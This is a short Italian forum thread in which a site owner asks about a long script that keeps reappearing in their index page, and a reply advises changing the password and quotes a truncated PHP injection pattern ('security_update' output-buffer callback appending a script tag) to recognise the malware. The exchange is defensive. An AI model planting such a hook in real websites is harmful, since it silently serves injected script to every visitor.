Script non richiesto nell'index

[Aletronky]

Salve a tutti!
Da qualche tempo su un sito da me gestito, viene inserito uno script lunghissimo da me non richiesto, e ogni volta che lo cancello viene nuovamente reinserito.
Che posso fare?

Ciao, cambia la password dell'account.
Se lo script è tipo

ob_start('security_update'); function security_update($buffer) { return $buffer."<script>[cut]"; } //security update

è un malware.
Anche il mio sito era stato colpito ma per fortuna non andava in esecuzione.

[Aletronky]

No è semplice codice javascript, inizia così:

<script language="javascript">$a=" ...

Comunque in effetti la soluzione semplice (e più immediata) è quella di cambiare password, che è ancora quella originale, non ci avevo proprio pensato.

Grazie mille!